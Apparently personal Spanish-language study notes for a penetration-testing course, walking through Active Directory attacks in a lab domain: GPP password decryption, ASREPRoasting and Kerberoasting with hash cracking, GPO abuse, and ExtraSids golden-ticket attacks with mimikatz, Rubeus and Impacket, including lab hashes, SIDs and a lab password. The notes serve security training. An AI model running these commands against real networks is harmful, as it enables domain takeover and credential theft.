Como se conserva en este repositorio o en esta herramienta para comprobar si las máquinas son vulnerables al MS-PRN Printer Bug. Este fallo puede utilizarse para comprometer un host en otro bosque que tenga habilitada la Delegación no restringida (Unconstrained Delegation), como un controlador de dominio
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
![[Pasted image 20260929191150.png]]
MS14-068
Fallo en el protocolo Kerberos que podía aprovecharse junto con las credenciales de un usuario de dominio estándar para elevar privilegios a Domain Admin
Un ticket de Kerberos contiene la pertenencia a grupos en el Certificado de Atributos de Privilegio o PAC). El PAC está firmado por el KDC utilizando claves secretas para validar que el PAC no ha sido manipulado después de su creación
La vulnerabilidad permitía que un PAC falsificado fuera aceptado por el KDC como legítimo. Esto puede aprovecharse para crear un PAC falso, presentando a un usuario como miembro de los Domain Administrators u otro grupo privilegiado. Puede ser explotado con herramientas como el Python Kerberos Exploitation Kit (PyKEK)
La máquina Mantis en la plataforma Hack The Box muestra esta vulnerabilidad.
Captura de credenciales LDAP
Muchas aplicaciones e impresoras almacenan credenciales LDAP en su consola de administración web para conectarse al dominio. A menudo, estas consolas se dejan con contraseñas débiles
A veces, estas credenciales se pueden ver en texto plano. Otras veces, la aplicación tiene una función de probar conexión que podemos utilizar para obtener credenciales cambiando la dirección IP del servidor LDAP a la de nuestro host de ataque y configurando un listener de netcat en el puerto LDAP 389
Cuando el dispositivo intente probar la conexión LDAP, enviará las credenciales a nuestra máquina, a menudo en texto plano. Las cuentas utilizadas para las conexiones LDAP suelen tener privilegios, pero si no, esto podría servir como un punto de apoyo inicial
Enumeración de registros DNS
Podemos usar una herramienta como adidnsdump para enumerar todos los registros DNS en un dominio usando una cuenta de usuario de dominio válida. Esto es especialmente útil si la convención de nombres para los hosts que nos devuelven nuestras enumeraciones con herramientas como BloodHound es similar a SRV01934.INLANEFREIGHT.LOCAL. Si todos los servidores y estaciones de trabajo tienen un nombre no descriptivo, nos resulta difícil saber exactamente qué atacar
La herramienta funciona porque, por defecto, todos los usuarios pueden listar los objetos secundarios de una zona DNS en un entorno de AD
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5
![[Pasted image 20260929191750.png]]
head records.csv
![[Pasted image 20260929191805.png]]
Si volvemos a ejecutar con el indicador -r, la herramienta intentará resolver los registros desconocidos realizando una consulta A. Ahora podemos ver que apareció una dirección IP de 172.16.5.240 para LOGISTICS
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
![[Pasted image 20260929191835.png]]
head records.csv
![[Pasted image 20260929191851.png]]
Otras configuraciones incorrectas
Contraseña en el campo de descripción
Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
![[Pasted image 20260929191916.png]]
Campo PASSWD_NOTREQD
Es posible encontrar cuentas de dominio con el campo passwd_notreqd establecido en el atributo userAccountControl. Si está establecido, el usuario no está sujeto a la longitud de la política de contraseñas actual, lo que significa que podría tener una contraseña más corta o ninguna
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
![[Pasted image 20260929192030.png]]
Credenciales en recursos compartidos SMB y scripts de SYSVOL
El recurso compartido SYSVOL puede ser una mina de oro de datos, especialmente en grandes organizaciones. Podemos encontrar muchos scripts diferentes de batch, VBScript y PowerShell dentro del directorio de scripts, que es legible por todos los usuarios autenticados en el dominio. Vale la pena rebuscar en este directorio para cazar contraseñas almacenadas en scripts
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts
![[Pasted image 20260929192222.png]]
Echando un vistazo más de cerca al script, vemos que contiene una contraseña para el administrador local
cat \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts\reset_local_admin_pass.vbs
![[Pasted image 20260929192246.png]]
Contraseñas de Preferencias de Directiva de Grupo (GPP)
Cuando se crea una nueva GPP, se crea un archivo .xml en el recurso compartido SYSVOL, que también se almacena en caché localmente en los puntos finales a los que se aplica la Directiva de Grupo. Estos archivos pueden incluir los utilizados para:
- Mapear unidades (drives.xml)
- Crear usuarios locales
- Crear archivos de configuración de impresoras (printers.xml)
- Crear y actualizar servicios (services.xml)
- Crear tareas programadas (scheduledtasks.xml)
- Cambiar contraseñas de administrador local.
Estos archivos pueden contener una variedad de datos de configuración y contraseñas definidas
El valor del atributo cpassword está cifrado con AES de 256 bits, pero Microsoft publicó la clave privada AES en MSDN, que puede usarse para descifrar la contraseña
El parche no elimina los archivos Groups.xml existentes con contraseñas de SYSVOL. Si eliminas la directiva GPP en lugar de desvincularla de la OU, la copia en caché en el equipo local permanece.
El XML tiene el siguiente aspecto:
![[Pasted image 20260929192422.png]]
Si recuperas el valor de cpassword de forma más manual, la utilidad gpp-decrypt se puede utilizar para descifrar la contraseña de la siguiente manera:
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
![[Pasted image 20260929192443.png]]
Las contraseñas de GPP se pueden localizar buscando o navegando manualmente por el recurso compartido SYSVOL o utilizando herramientas como Get-GPPPassword.ps1. CrackMapExec también tiene dos módulos para localizar y recuperar contraseñas de GPP
crackmapexec smb -L | grep gpp
![[Pasted image 20260929192530.png]]
A menudo, las contraseñas de GPP se definen para cuentas heredadas y, por lo tanto, puedes recuperar y descifrar la contraseña de una cuenta bloqueada o eliminada. Sin embargo, vale la pena intentar hacer un password spraying interno
También es posible encontrar contraseñas en archivos como Registry.xml cuando el inicio de sesión automático (autologon) está configurado a través de una Directiva de Grupo
Si esto se establece a través de una Directiva de Grupo y no localmente en el host, entonces cualquiera en el dominio puede recuperar las credenciales almacenadas en el archivo Registry.xml creado para este propósito
Podemos buscar esto usando CrackMapExec con el módulo gpp_autologin, o usando el script Get-GPPAutologon.ps1
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
![[Pasted image 20260929192724.png]]
En la salida anterior, podemos ver que hemos recuperado las credenciales de una cuenta llamada guarddesk. Esto podría haberse configurado para que las estaciones de trabajo compartidas utilizadas por los guardias inicien sesión automáticamente al arrancar para acomodar a múltiples usuarios a lo largo del día y la noche
ASREPRoasting
Es posible obtener el Ticket de Otorgamiento de Tickets (Ticket Granting Ticket o TGT) para cualquier cuenta que tenga habilitada la configuración No requerir la preautenticación Kerberos (Do not require Kerberos pre-authentication)
Con la preautenticación, un usuario introduce su contraseña, que cifra una marca de tiempo. El Controlador de Dominio la descifrará para validar que se utilizó la contraseña correcta. Si tiene éxito, se emitirá un TGT
Si una cuenta tiene la preautenticación deshabilitada, un atacante puede solicitar datos de autenticación para la cuenta afectada y recuperar un TGT cifrado del Controlador de Dominio
Viendo una cuenta con la opción No requerir preautenticación Kerberos
![[Pasted image 20260929192919.png]]
ASREPRoasting es similar a Kerberoasting, pero implica atacar la AS-REP en lugar de la TGS-REP. No se requiere un SPN
El ataque en sí puede realizarse con el kit de herramientas Rubeus. Si un atacante tiene permisos GenericWrite o GenericAll sobre una cuenta, puede habilitar este atributo y obtener el ticket AS-REP para el descifrado sin conexión
Recuperando la AS-REP usando Rubeus Windows
- Se puede usar PowerView para enumerar usuarios con su valor de UAC establecido en
DONT_REQ_PREAUTH
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
![[Pasted image 20260929193050.png]]
- Rubeus puede ser aprovechada para recuperar la AS-REP en el formato adecuado para el descifrado de hashes sin conexión. Este ataque no requiere ningún contexto de usuario de dominio y se puede hacer simplemente conociendo el nombre SAM del usuario sin preautenticación Kerberos. Recuerda, añade el indicador
/nowrap para que el ticket no se ajuste a la columna
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
![[Pasted image 20260929193143.png]]
- Descifrando el hash sin conexión con Hashcat
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt
![[Pasted image 20260929193210.png]]
Recuperando la AS-REP usando Kerbrute Linux
Al realizar la enumeración de usuarios con Kerbrute, la herramienta recuperará automáticamente la AS-REP para cualquier usuario encontrado que no requiera preautenticación Kerberos
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
![[Pasted image 20260929193246.png]]
Con una lista de usuarios válidos, podemos usar Get-NPUsers.py para buscar todos los usuarios que no requieren preautenticación Kerberos. La herramienta recuperará la AS-REP en formato Hashcat para el descifrado
Búsqueda de usuarios con preautenticación de Kerberos no requerida
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
![[Pasted image 20260929193400.png]]
Abuso de Objetos de Directiva de Grupo (GPO)
La Directiva de Grupo (Group Policy) proporciona a los administradores muchas configuraciones avanzadas que se pueden aplicar tanto a objetos de usuario como de equipo en un entorno de AD
Si podemos obtener permisos sobre un Objeto de Directiva de Grupo a través de una mala configuración de ACL, podríamos aprovecharlo para el movimiento lateral, la escalada de privilegios, el compromiso del dominio e incluso como un mecanismo de persistencia
Las malas configuraciones de GPO pueden ser abusadas para realizar los siguientes ataques:
- Añadir permisos adicionales a un usuario (como
SeDebugPrivilege, SeTakeOwnershipPrivilege o SeImpersonatePrivilege)
- Añadir un usuario administrador local a uno o más hosts
- Crear una tarea programada inmediata para realizar cualquier número de acciones
Podemos enumerar la información de los GPO utilizando muchas de las herramientas que hemos estado usando a lo largo de este módulo, como PowerView y BloodHound. También podemos usar group3r, ADRecon, PingCastle
Enumerar nombres de GPO con PowerView
Get-DomainGPO |select displayname
![[Pasted image 20260929193750.png]]
Podemos ver que se está usando el inicio de sesión automático (autologon), lo que puede significar que hay una contraseña legible en un GPO, y vemos que los Servicios de Certificados de Active Directory (AD CS) están presentes en el dominio.
Si las Herramientas de Administración de Directivas de Grupo (Group Policy Management Tools) están instaladas en el host desde el que estamos trabajando, podemos usar varios cmdlets de GroupPolicy incorporados, como Get-GPO, para realizar la misma enumeración
Enumerar nombres de GPO con un cmdlet incorporado
Get-GPO -All | Select DisplayName
![[Pasted image 20260929193900.png]]
A continuación, podemos comprobar si un usuario que controlamos tiene algún permiso sobre un GPO
Enumerar los permisos de GPO de los usuarios del dominio
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
![[Pasted image 20260929193950.png]]
Aquí podemos ver que el grupo Domain Users tiene varios permisos sobre un GPO, como WriteProperty y WriteDacl, que podríamos aprovechar para darnos control total sobre el GPO y llevar a cabo cualquier número de ataques que se aplicarían a todos los usuarios y equipos en las OU a las que se aplica el GPO. Podemos usar el GUID del GPO combinado con Get-GPO para ver el nombre de visualización (display name) del GPO.
Convertir el GUID de un GPO a su nombre
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532
![[Pasted image 20260929194030.png]]
Al comprobar en BloodHound, podemos ver que el grupo Domain Users tiene varios permisos sobre el GPO Disconnect Idle RDP, lo que podría ser aprovechado para obtener el control total del objeto
![[Pasted image 20260929194050.png]]
Si seleccionamos el GPO en BloodHound y nos desplazamos hacia abajo hasta Affected Objects en la pestaña Node Info, podemos ver que este GPO se aplica a una OU, que contiene cuatro objetos de equipo.
![[Pasted image 20260929194116.png]]
Podríamos usar una herramienta como SharpGPOAbuse para aprovechar esta mala configuración del GPO realizando acciones como añadir un usuario que controlamos al grupo de administradores locales en uno de los hosts afectados, crear una tarea programada inmediata en uno de los hosts para darnos una reverse shell, o configurar un script de inicio de equipo malicioso para proporcionarnos una reverse shell o algo similar
Ejemplo practico
- Encuentra otro usuario con
passwd_notreqd set y sube el SamAccountName como respuesta
- Nos conectamos via RDP
![[Pasted image 20260929194436.png]]
- Usamos una utilidad del modulo PowerView para enumerar los usuarios con Passwd_notreqd
![[Pasted image 20260929194541.png]]
- Encuentra otro usuario con “Do not require Kerberos pre-authentication setting” habilitado. Haz un ASREPRoasting y crackea el pass
- Usamos otra utilidad de PowerView para ver los usaurios con Preautenticacion de Kerberos no requerida
![[Pasted image 20260929194621.png]]
- Hacemos ASREPROASTING contra esa cuenta para recuperar el hash
![[Pasted image 20260929194701.png]]
- Nos volvemos a conectar pasando un recurso compartido para copiar el archivo en nuestro escritorio de trabajo y crackear el hash
![[Pasted image 20260929195129.png]]
![[Pasted image 20260929195207.png]]
![[Pasted image 20260929195335.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 10. Relaciones De Confianza
1. Manual Basico De Relaciones De Confianza Entre Dominios
Descripcion general de las relaciones de confianza de dominio
Una relacion de confianza se usa para establecer autenticacion entre bosques o arboles de dominio
![[Pasted image 20261005152618.png]]
Esto permite acceder a recursos de otro dominio fuera del principal donde reside la cuenta
La confianza crea un vinculo entre los sistemas de autenticacion de dominios y permite comunicacion bidireccional o unidireccional. Tipos:
-
Padre-hijo: relacion entre dominios del mismo arbol siendo transitica bidireccional (se pueden autenticar en el padre y en el hijo)
-
Vinculo cruzado: entre dominios hijos de diferentes arboles para acelerar la autenticacion
-
Externa: confianza no transitiva entre dominios de de diferentes bosques usando los SID como filtrado para la autenticacion
-
Raiz de arbol: confianza transitiva bidireccional creada entre el dominio raíz de un nuevo árbol y el dominio raíz del bosque
-
De bosque: confianza transitiva entre dos dominios raiz de bosques distintos
Dominio raiz de bosque es el primer dominio que se crea en todo el bosque. Dominio raiz de arbol es el primer dominio de cada arbol
Tipos de confianzas:
- Transitivas: la confianza se extiende en los que confia el hijo. Si A (padre) confia en B(hijo) y este en C(otro), A confiara en C
- No transitiva: solo confia en el propio dominio hijo
![[Pasted image 20261005154049.png]]
Direcciones de confianza:
- Unidireccional: el dominio puede acceder a los recursos de quien confia pero no viceversa
- Bidireccional: ambos dominios confian entre ellos
Una intrusion en un dominio hijo o en un dominio secundario de otro bosque o arbol que tenga confianza con el principal podria permitirnos acceso al principal. Si obtuviesemos control de un usuario que es admin en el dominio principal, podriamos obtener control de todo el dominio
Enumeracion de las relaciones de confianza
Usando Get-ADTrust
Get-ADTrust: para enumerar relaciones de confianza
Import-Module activedirectory
Get-ADTrust -Filter *
![[Pasted image 20261005154509.png]]
En esta salida se muestra que el dominio actual INLANEFREIGHT.LOCAL tiene 2 relaciones de confianza:
- LOGISTICS.INLANEFREIGHT.LOCA: donde en el atributo
IntraForest muestra que es uno de sus hijo y actualmente estamos en la raiz del arbol
- FREIGHTLOGISTICS.LOCAL: el atributo
ForestTransitive en True significa que se trata de una confianza de bosque o externa entre dominios raices
Usando PowerView
Get-DomainTrust
![[Pasted image 20261005160537.png]]
Aqui podemos ver informacion del tipo de confianza
Podemos hacer tambien un mapeo de confianzas del dominio
Get-DomainTrustMapping
![[Pasted image 20261005160640.png]]
Desde aqui podriamos hacer una enumeracion de usuarios de los subdominios o dominios que tenga confianza:
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
![[Pasted image 20261005160736.png]]
Usando netdom
Recupera informacion sobre el dominio incluyendo las workstations, servidores y confianzas
netdom query /domain:inlanefreight.local trust
![[Pasted image 20261005160834.png]]
Consultar controladores de dominio:
netdom query /domain:inlanefreight.local dc
![[Pasted image 20261005160904.png]]
Consultar workstations y servidores:
netdom query /domain:inlanefreight.local workstation
![[Pasted image 20261005160926.png]]
Usando bloodhound
Analysis > Map Domain Trusts
![[Pasted image 20261005161006.png]]
Ejemplo practico
- Cual es el dominio hijo de INLANEFREIGHT.LOCAL
![[Pasted image 20261005161433.png]]
- Que dominio tiene forest transitive trust con INLANEFREIGHT
![[Pasted image 20261005161450.png]]
- En que direccion es la confianza
![[Pasted image 20261005161501.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 10. Relaciones De Confianza
2. Atacando Confianzas De Dominio (hijo Padre) Desde Windows
Introduccion al SIDHistory
sidHistory se usa en escenarios de migracion. Si un objeto migra a otro dominio se crea una nueva cuenta en el segundo dominio con el SID original añadido al nuevo usuario para que pueda seguir accediendo a recursos del dominio original
Usando Mimikatz, un atacante puede realizar una inyección de historial de SID y añadir una cuenta de administrador al atributo SID History de una cuenta que controle
Si el SID de una cuenta de Administrador de Dominio (Domain Admin) se añade al atributo SID History de esta cuenta, entonces esta podrá realizar un DCSync y crear un Golden Ticket o un ticket de concesión de tickets (TGT) de Kerberos
Permite el compromiso del dominio padre una vez comprometido el dominio hijo
El filtrado SID es el usado por AD para la proteccion de las solicitudes de autenticacion por lo que si un usuario tiene el sidHistory = grupo Enterprise Admins este sera tratado como un Enterprise Admin
Necesitamos:
- Hash KRBTGT para el dominio hijo
mimikatz
# lsadump::dcsync /user:LOGISTICS\krbtgt
![[Pasted image 20261005162715.png]]
KRBTGT es la cuenta de servicio para el Centro de Distribucion de Claves KDC de AD. Esta cuenta se usa para firmar y cifrar tickets kerberos y los DCs usan su hash para descifrar y validar los tickets. Con esta cuenta se pueden crear tickets TGT y TGS y realizar ataques como Golden Ticket
Get-DomainSID
![[Pasted image 20261005162731.png]]
- Nombre de usuario del objetivo en el dominio hijo
- FQDN del dominio hijo
- SID del grupo Enterprise Admins en el dominio padre
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
![[Pasted image 20261005162802.png]]
En este punto, hemos recopilado los siguientes datos:
- El hash de KRBTGT para el dominio hijo:
9d765b482771505cbe97411065964d5f
- El SID del dominio hijo:
S-1-5-21-2806153819-209893948-922872689
- El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir para crear nuestro Golden Ticket!): Elegiremos un usuario falso:
hacker
- El FQDN del dominio hijo:
LOGISTICS.INLANEFREIGHT.LOCAL
- El SID del grupo Enterprise Admins del dominio raíz:
S-1-5-21-3842939050-3880317879-2865463114-519
Ataque
- Confirmamos que no tenemos acceso al dc del dominio padre
ls \\academy-ea-dc01.inlanefreight.local\c$
![[Pasted image 20261005164206.png]]
- Creamos un golden ticket
mimikatz.exe
# kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
![[Pasted image 20261005164247.png]]
- Confirmamos qu tenemos el ticket Kerberos para nuetro usuario
hacker:
klist
![[Pasted image 20261005164335.png]]
- Accedemos al DC del dominio padre
ls \\academy-ea-dc01.inlanefreight.local\c$
![[Pasted image 20261005164409.png]]
- Comprobamos que no tenemos acceso al DC del dominio padre
ls \\academy-ea-dc01.inlanefreight.local\c$
![[Pasted image 20261005164555.png]]
- Creamos un golden ticket con rubeus
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
![[Pasted image 20261005164648.png]]
- Confirmamos que el ticket esta en memoria klist
klist
![[Pasted image 20261005164712.png]]
- Hacemos un DCSync
.\mimikatz.exe
# lsadump::dcsync /user:INLANEFREIGHT\lab_adm
![[Pasted image 20261005164745.png]]
Cuando se trabaja con múltiples dominios y nuestro dominio objetivo no es el mismo que el dominio del usuario, necesitaremos especificar el dominio exacto para realizar la operación DCSync
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
![[Pasted image 20261005164832.png]]
Ejemplo practico
- Cual es el SID del dominio hijo
- Recuperamos el hash de KRBTGT y SID del dominio hijo actual
![[Pasted image 20261005165413.png]]
![[Pasted image 20261005165429.png]]
![[Pasted image 20261005165532.png]]
- Cual es el SID del grupo Enterprise Admins
- Recuperamos el SID de Enterprise Admins del dominio padre
![[Pasted image 20261005165618.png]]
- Realiza un ExtraSids Attack para comprometer el dominio y consigue la flag de C:\ExtraSids en ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL que se encuentra en el dominio padre
- Probamos acceso al DC del dominio padre
![[Pasted image 20261005165641.png]]
- Realizamos un golden ticket
![[Pasted image 20261005170031.png]]
- Miramos si tenemos el ticket bien generado y listo
![[Pasted image 20261005170046.png]]
- Accedemos al sistema de archivos del DC
![[Pasted image 20261005170133.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 10. Relaciones De Confianza
3. Ataques A Las Relaciones De Confianza (hijo Padre) Desde Linux
El ataque de ExtraSids tambien se puede realizar desde Linux. Necesitamos:
- El hash KRBTGT para el dominio hijo
Una vez tengamos el control total en el dominio hijo podemos usar secretsdump.py para realizar un DCSync y obtener el hash NTLM de KRBTGT
secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt
![[Pasted image 20261005171036.png]]
- El SID (Security Identifier) para el dominio hijo
Podemos usar lookupsid.py para realizar una fuerza bruta de SID para encontrar el SID del dominio hijo (la IP es la del DC del dominio hijo). Nos devuelve el SID y el RID de cada usuario que podrian usarse para crear el DOMAIN-SID-RID de cada usuario
lookupsid.py logistics.inlanefreight.local/[email protected]
![[Pasted image 20261005171305.png]]
Podemos usar grep para quitar ruido
lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"
![[Pasted image 20261005171333.png]]
- El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!)
- El FQDN (Fully Qualified Domain Name) del dominio hijo
- El SID del grupo Enterprise Admins del dominio raíz
Podemos volver a usar lookupsid.py apuntando al DC del dominio padre y junto con el RID del grupo sacar su SID completo
lookupsid.py logistics.inlanefreight.local/[email protected] | grep -B12 "Enterprise Admins"
![[Pasted image 20261005171504.png]]
Una vez más, usaremos el usuario inexistente hacker para falsificar nuestro Golden Ticket (Tiquete Dorado).
- El hash KRBTGT para el dominio hijo:
9d765b482771505cbe97411065964d5f
- El SID para el dominio hijo:
S-1-5-21-2806153819-209893948-922872689
- El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!):
hacker
- El FQDN del dominio hijo:
LOGISTICS.INLANEFREIGHT.LOCAL
- El SID del grupo Enterprise Admins del dominio raíz:
S-1-5-21-3842939050-3880317879-2865463114-519
Ataque
- Usamos ticketer.py para construir un Golden Ticket que sera valido para acceder a recursos en el dominio
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
![[Pasted image 20261005171647.png]]
- El archivo .ccache generado lo establecemos a la variable KRB5CCNAME
export KRB5CCNAME=hacker.ccache
- Ahora con el ticket ccache en la memoria podemos abrir una shell con psexec como SYSTEM en el DC del dominio padre
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] -k -no-pass -target-ip 172.16.5.5
![[Pasted image 20261005171817.png]]
Ataque con RaiseChild.py
Impacket también tiene la herramienta raiseChild.py, que automatizará la escalada de un dominio hijo a uno padre. Necesitamos especificar el controlador de dominio objetivo y las credenciales de un usuario administrativo en el dominio hijo; el script hará el resto. Si revisamos la salida, vemos que comienza enumerando los nombres de dominio completos (FQDN) del dominio hijo y del padre. Luego:
- Obtiene el SID para el grupo Enterprise Admins del dominio padre
- Recupera el hash de la cuenta KRBTGT en el dominio hijo
- Crea un Golden Ticket
- Inicia sesión en el dominio padre
- Recupera las credenciales de la cuenta Administrator en el dominio padre
Finalmente, si se especifica el parámetro target-exec, se autentica en el controlador de dominio del dominio padre a través de Psexec.
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
![[Pasted image 20261005171911.png]]
Ejemplo practico
![[Pasted image 20261005173129.png]]![[Pasted image 20261005173133.png]]
htb-student_adm:HTB_@cademy_stdnt_admin!
![[Pasted image 20261005173201.png]]
![[Pasted image 20261005173154.png]]![[Pasted image 20261005173204.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 11. Relaciones De Confianza Externas
1. Atacando Confianzas De Dominio Abuso De Confianza Entre Bosques Desde Windows
Kerberoasting entre Bosques (Cross-Forest)
Los ataques de Kerberos como el Kerberoasting y el ASREPRoasting se pueden realizar a través de las confianzas, dependiendo de la dirección de la confianza
Si la confianza es desde un bosque/dominio entrante o bidireccional es probable que podamos realizar varios ataques
Podriamos obtener un ticket Kerberos, romper el hash para un usuario administrativo o que tenga privs Enterprise Admin en los dos dominios
- Usamos PowerView para enumerar cuentas en un dominio objetivo que tiene varios SPNs
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
![[Pasted image 20261005174135.png]]
Vemos una cuenta con SPN en el dominio objetivo
2. Comprobando la cuenta
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
Esta comprobacion nos muestra que es un Domain Admin en el dominio objetivo por lo que si podemos hacer Kerberoasting y romper su hash tendriamos derechos admin
3. Realizamos el ataque Kerberoasting con Rubeus usando /domain
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
![[Pasted image 20261005174326.png]]
Reutilizacion de contraseñas de administrador y pertenencia a grupos
Hay veces que podemos encontrar una confianza de bosque bidireccional gestionada por administradores de la misma empresa
Si tomamos control de DOMINIO A y obtenemos las contraseñas en texto claro o hashes NT para la cuenta Administrator del DOMINIO A y el DOMINIO B tiene una cuenta admin con el mismo nombre podriamos comprobar si hay reutilizacion de contraseñas
Ejemplo:
- DOMINIO A: adm_bob.smith
- DOMINIO B: bsmith_admin
También podemos ver usuarios o administradores del Dominio A como miembros de un grupo en el Dominio B. Solo los Grupos Locales de Dominio (Domain Local Groups) permiten entidades de seguridad (security principals) de fuera de su bosque
Podemos ver a un Administrador de Dominio o Administrador de la Empresa del Dominio A como miembro del grupo de Administradores integrado en el Dominio B en una relación de confianza de bosque bidireccional. Si podemos tomar el control de este usuario administrador en el Dominio A, obtendríamos acceso administrativo completo al Dominio B basándonos en la pertenencia al grupo
- PowerView Get-DomainForeignGroupMember para enumerar grupos con usuarios que no pertenecen al dominio y son pertenencia a un grupo externo (foreign group membership)
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
![[Pasted image 20261005175035.png]]
La salida del comando anterior muestra que el grupo de Administradores integrado en `FREIGHTLOGISTICS.LOCAL` tiene como miembro a la cuenta de Administrador integrada del dominio `INLANEFREIGHT.LOCAL`
2. Verificamos acceso a DC01 usando Enter-PSSession
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
![[Pasted image 20261005175142.png]]
En la salida del comando anterior, podemos ver que nos autenticamos con éxito en el Controlador de Dominio del dominio `FREIGHTLOGISTICS.LOCAL` usando la cuenta de Administrador del dominio `INLANEFREIGHT.LOCAL` a través de la confianza de bosque bidireccional
Abuso de sidHistory entre bosques
Ataque ExtraSids
El Historial de SID (SID History) también puede ser abusado a través de una confianza de bosque. Si un usuario es migrado de un bosque a otro y el Filtrado de SID (SID Filtering) no está habilitado, es posible añadir un SID del otro bosque, y este SID se añadirá al token del usuario al autenticarse a través de la confianza
Si el SID de una cuenta con privilegios administrativos en el Bosque A se añade al atributo de historial de SID de una cuenta en el Bosque B, suponiendo que puedan autenticarse a través del bosque, entonces esta cuenta tendrá privilegios administrativos al acceder a los recursos en el bosque asociado
En el siguiente diagrama, podemos ver un ejemplo del usuario jjones siendo migrado del dominio INLANEFREIGHT.LOCAL al dominio CORP.LOCAL en un bosque diferente. Si el filtrado de SID no está habilitado cuando se realiza esta migración y el usuario tiene privilegios administrativos en el dominio INLANEFREIGHT.LOCAL, entonces conservará sus derechos/acceso administrativo en INLANEFREIGHT.LOCAL mientras es miembro del nuevo dominio, CORP.LOCAL, en el segundo bosque
![[Pasted image 20261005175428.png]]
Ejemplo practico
- Realiza un ataque Kerberoast cross-forest para obtener el hash TGS de mssqlsvc y obten la pass en texto plano
- Miramos las cuentas con SPN en el dominio bosque objetivo
![[Pasted image 20261005175827.png]]
- Comprobamos de que grupo es mssqlsvc y es Domain Admins. Realizamos un kerberoast para obtener el hash del ticket TGS
![[Pasted image 20261005175901.png]]
- Crackeamos offline
![[Pasted image 20261005180010.png]]
![[Pasted image 20261005180610.png]]
![[Pasted image 20261005180626.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 11. Relaciones De Confianza Externas
2. Atacando Confianzas De Dominio Abuso De Confianza Entre Bosques Desde Linux
Podemos hacer el Kerberoast usando GetUserSPNs.py desde Linux hacia un bosque de confianza externo
- Usamos GetUserSPNs.py para ver usuarios con SPN
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
![[Pasted image 20261005190616.png]]
- Pedimos el ticket TGS usando GetUserSPNs.py
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
![[Pasted image 20261005190705.png]]
- Luego podriamos crackearlo offline
hashcat -m 13100 hash /WORDLIST
Si tenemos existo nos podremos autenticar en FREIGHTLOGISTICS.LOCAL como Domain Admin
También valdría la pena comprobar si esta cuenta existe en nuestro dominio actual y si sufre de reutilización de contraseñas
Búsqueda de pertenencia a grupos externos con Bloodhound-python
Podemos ver usuarios o admins de un dominio distinto como miembros de grupos de nuestro dominio
Solo los Grupos Locales de Dominio o Domain Local Groups pemriten usuarios de fuera de su bosque. No es raro ver a un usuario con privs elevados en DOMINIO A como miembro del grupo de admins incorporado en el DOMINIO B en una confianza bidireccional
Usando implementación en Python de BloodHound podriamos recopilar info de multiples dominios y cargarlos en GUI para buscar relaciones
